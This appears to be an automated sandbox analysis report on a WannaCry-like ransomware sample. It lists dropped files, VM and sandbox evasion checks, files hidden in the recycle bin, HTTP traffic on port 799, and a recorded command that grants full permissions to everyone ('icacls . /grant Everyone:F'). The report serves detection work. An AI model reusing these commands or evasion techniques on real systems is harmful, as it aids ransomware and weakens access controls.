              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\~SDC7C4.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SDC7C5.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SDC7C6.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SDC7C7.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,0_2_00401CE8

              Hooking and other Techniques for Hiding and Protection

              barindex
              Creates files in the recycle bin to hide itself
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\$Recycle.Bin\~SD2588.tmpJump to behavior
              Uses known network protocols on non-standard ports
              Source: unknownNetwork traffic detected: HTTP traffic on port 49699 -> 799
              Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 799
              Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 799
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\dllhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\dllhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\dllhost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Contains functionality to detect sleep reduction / modifications
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_100047900_2_10004790
              Found stalling execution ending in API Sleep call
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStalling execution: Execution stalls by calling Sleepgraph_0-4441
              Query firmware table information (likely to detect VMs)
              Source: C:\Windows\System32\svchost.exeSystem information queried: FirmwareTableInformation
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeWindow / User API: threadDelayed 5007
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeWindow / User API: threadDelayed 3445
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\user\Desktop\u.wnryJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeDropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\jones\AppData\Local\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeDropped PE file which has not been started: C:\Users\user\Desktop\taskse.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeEvaded block: after key decisiongraph_0-3856
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_2-1054
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 5468Thread sleep time: -35000s >= -30000s
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 5840Thread sleep count: 5007 > 30
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 5840Thread sleep time: -15021000s >= -30000s
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 2716Thread sleep time: -600000s >= -30000s
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 3624Thread sleep time: -390000s >= -30000s
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 5840Thread sleep count: 3445 > 30
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe TID: 5840Thread sleep time: -10335000s >= -30000s
              Source: C:\Windows\System32\dllhost.exeFile opened: PhysicalDrive0
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00411718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00411754h2_2_00411718
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,??_U@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,0_2_10002300
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,0_2_10004A40
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_004129E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,2_2_004129E2
              Source: C:\Users\user\Desktop\taskdl.exeCode function: 10_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,10_2_00401080
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00412B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,2_2_00412B8C
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeThread delayed: delay time: 30000
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeThread delayed: delay time: 30000
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\Apps\~SDF32F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\~SD7E4B.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\~SD9453.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\GenuineTicket\~SDF33F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\~SD7E4C.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\~SD7E4A.tmpJump to behavior
              Source: cscript.exe, 0000000F.00000002.1307848672.00000000031E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\e6w6
              Source: svchost.exe, 00000026.00000002.3709091663.00000168A0332000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware-42 2 @
              Source: cscript.exe, 0000000F.00000002.1307848672.00000000031E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc$
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware20,1
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
              Source: wBQInv.exe, 00000002.00000003.1276194123.0000000000E80000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E80000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000DFB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
              Source: svchost.exe, 00000026.00000003.1435144072.00000168A0347000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeAPI call chain: ExitProcess graph end nodegraph_2-1029
              Source: C:\Windows\System32\svchost.exeProcess information queried: ProcessInformation
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00401A45 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00401A45
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_0075A044 mov eax, dword ptr fs:[00000030h]0_2_0075A044
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004021E9 strrchr,SetLastError,GetModuleHandleA,GetNativeSystemInfo,GetProcessHeap,HeapAlloc,memcpy,SetLastError,0_2_004021E9
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6768 -ip 6768
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 916
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10001360 time,AllocateAndInitializeSid,time,CheckTokenMembership,FreeSid,0_2_10001360
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
              Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation
